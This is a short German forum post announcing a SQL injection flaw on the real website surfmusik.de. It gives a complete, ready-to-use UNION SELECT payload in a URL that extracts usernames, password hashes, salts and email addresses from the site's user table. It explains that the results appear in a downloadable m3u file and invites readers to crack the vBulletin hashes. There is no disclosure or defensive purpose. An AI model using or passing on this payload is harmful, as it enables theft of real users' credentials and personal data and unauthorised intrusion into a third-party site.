Moin,
kleine SQLi auf surfmusik gefunden.
www.surfmusik.de/iphone/m3u/m3u.php?user=-1'+union+select+1,2,concat_ws(0x3a,username,password,salt,email),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+user+limit+0,1--+
Ausgabe erfolgt in der zum herunterladen angebotenen m3u File.
Wer's braucht und Zeit hat, den vBulletin Hash zu cracken, bitteschön.